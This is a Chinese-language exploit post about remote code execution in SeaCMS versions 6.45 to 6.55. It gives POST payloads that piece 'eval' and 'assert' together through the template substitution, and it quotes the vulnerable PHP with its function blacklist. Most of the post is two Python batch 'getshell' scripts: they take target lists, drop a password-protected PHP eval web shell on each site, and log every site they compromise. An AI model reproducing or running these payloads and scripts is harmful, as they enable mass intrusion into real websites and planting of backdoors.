海洋CMS V6.45 – V6.55前台Getshell 代码执行漏洞
- 发表于
- Vulndb
海洋CMS v6.54漏洞
漏洞代码执行
Payload
1 2 3 4 5 |
get: http://seacms.test/search.php POST: searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo(); |
漏洞分析
这个版本只是把order
的变量做了限制,但是声明为global变量的不止order
,为什么不用其他而用order
,在上一篇已经讲过了。
1 2 |
$order = RemoveXSS(stripslashes($order)); $order = addslashes(cn_substr($order,20)); |
我看了这次构造的POC,我也是佩服这位表哥,因为分析这些代码需要大量的时间。这次通过echoSearchPage
函数里面的拼接功能,我们可以在没转换之前输出一下$content的内容,这里我推荐直接用highlight_string($content)
直接输出,不用右键查看源代码了。
大家可以先在searchword
替换前输出$content
,可以看到还没有开始替换。
那我们在替换后,输出$content
,可以看到已经拼接成型了。
156行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$content = str_replace("{seacms:searchword}",$searchword,$content); ------ if(intval($searchtype)==5) { $tname = !empty($tid)?getTypeNameOnCache($tid):'全部'; $jq = !empty($jq)?$jq:'全部'; $area = !empty($area)?$area:'全部'; $year = !empty($year)?$year:'全部'; $yuyan = !empty($yuyan)?$yuyan:'全部'; $letter = !empty($letter)?$letter:'全部'; $state = !empty($state)?$state:'全部'; $ver = !empty($ver)?$ver:'全部'; $money = !empty($money)?$money:'全部'; $content = str_replace("{searchpage:type}",$tid,$content); $content = str_replace("{searchpage:typename}",$tname ,$content); $content = str_replace("{searchpage:year}",$year,$content); $content = str_replace("{searchpage:area}",$area,$content); $content = str_replace("{searchpage:letter}",$letter,$content); $content = str_replace("{searchpage:lang}",$yuyan,$content); $content = str_replace("{searchpage:jq}",$jq,$content); if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";} if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";} $content = str_replace("{searchpage:state}",$state2,$content); $content = str_replace("{searchpage:money}",$money2,$content); $content = str_replace("{searchpage:ver}",$ver,$content); $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade"); $content=$mainClassObj->parseSearchItemList($content,"type"); $content=$mainClassObj->parseSearchItemList($content,"year"); $content=$mainClassObj->parseSearchItemList($content,"area"); $content=$mainClassObj->parseSearchItemList($content,"letter"); $content=$mainClassObj->parseSearchItemList($content,"lang"); $content=$mainClassObj->parseSearchItemList($content,"jq"); $content=$mainClassObj->parseSearchItemList($content,"state"); $content=$mainClassObj->parseSearchItemList($content,"ver"); $content=$mainClassObj->parseSearchItemList($content,"money"); }. |
又到parseIf
处理这里了,我们都可以使用highlight_string($content)
和var_dump($iar[1])
来输出匹配前和匹配后的结果。
匹配前
匹配后
所以又执行了我们传参进去的代码。
构造POC
1 |
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo(); |
其实很简单,每个参数做了限制,传入的字符串个数不能超过20个就行了。
9
就是$_POST[9]里面的值,可以任意修改只要不超过20个字符。
用Python编写批量Getshell脚本
只是在上一个脚本做下修改就行了,同样支持单个和批量getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
''' author:F0rmat ''' import sys import requests import threading def exploit(target): if sys.argv[1]== "-f": target=target[0] url=target+"/search.php" payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');" data={ "searchtype":"5", "searchword":"{if{searchpage:year}", "year":":e{searchpage:area}}", "area":"v{searchpage:letter}", "letter":"al{searchpage:lang}", "yuyan":"(join{searchpage:jq}", "jq":"($_P{searchpage:ver}", "ver":"OST[9]))", "9[]":payload, } shell = target+'/shell.php' try: requests.post(url,data=data) verify = requests.get(shell, timeout=3) if "f0rmat" in verify.content: print 'Write success,shell url:',shell,'pass:f0rmat' with open("success.txt","a+") as f: f.write(shell+' pass:f0rmat'+"\n") else: print target,'Write failure!' except Exception, e: print e def main(): if len(sys.argv)<3: print 'python check_order.py.py -h target/-f target-file' else: if sys.argv[1] == "-h": exploit(sys.argv[2]) elif sys.argv[1] == "-f": with open(sys.argv[2], "r") as f: b = f.readlines() for i in xrange(len(b)): if not b[i] == "\n": threading.Thread(target=exploit, args=(b[i].split(),)).start() if __name__ == '__main__': main() |
海洋CMS v6.55漏洞
漏洞代码执行
Payload
1 2 3 4 5 |
GET: http://seacms.test/search.php POST: searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/* |
漏洞分析
这次官方给出的修复是在parseIf
函数里面加了黑名单。但是没有做SERVER变量的过滤,所以可以用SERVER变量的性质来达到写入命令。
1 2 3 4 5 6 7 8 9 10 |
function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content; }else{ $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is"); $labelRule2="{elseif"; $labelRule3="{else}"; preg_match_all($labelRule,$content,$iar); foreach($iar as $v){ $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v); |
构造POC
还是利用目标的多重替换,详细步骤见SeaCMS6.54。导致最后写入assert($_SERVER[QUERY_STRING]),因为$SERVER变量默认是不检查数据的安全性的,因而当我们把命令加在url后,$_SERVER[QUERY_STRING]便可以获得我们发送的请求也就是这里传递的要执行的命令。(search.php?whami)这样就执行了assert(whoami)
- 关于$_SERVER可以看官方文档:http://php.net/manual/zh/reserved.variables.server.php
1 2 |
POC searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/* |
用Python编写批量Getshell脚本
和上面差不多:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
''' author:F0rmat ''' import sys import requests import threading def exploit(target): if sys.argv[1]== "-f": target=target[0] url=target+"/search.php?eval(join($_POST[9]))" payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');" data={ "searchtype": "5", "9[]": payload, "searchword": "{if{searchpage:year}", "year": ":as{searchpage:area}}", "area": "s{searchpage:letter}", "letter": "ert{searchpage:lang}", "yuyan": "($_SE{searchpage:jq}", "jq": "RVER{searchpage:ver}", "ver": "[QUERY_STRING]));/*", } shell = target+'/shell.php' try: requests.post(url,data=data) verify = requests.get(shell, timeout=3) if "f0rmat" in verify.content: print 'Write success,shell url:',shell,'pass:f0rmat' with open("success.txt","a+") as f: f.write(shell+' pass:f0rmat'+"\n") else: print target,'Write failure!' except Exception, e: print e def main(): if len(sys.argv)<3: print 'python check_order.py.py -h target/-f target-file' else: if sys.argv[1] == "-h": exploit(sys.argv[2]) elif sys.argv[1] == "-f": with open(sys.argv[2], "r") as f: b = f.readlines() for i in xrange(len(b)): if not b[i] == "\n": threading.Thread(target=exploit, args=(b[i].split(),)).start() if __name__ == '__main__': main() |
参考
原文连接
的情况下转载,若非则不得使用我方内容。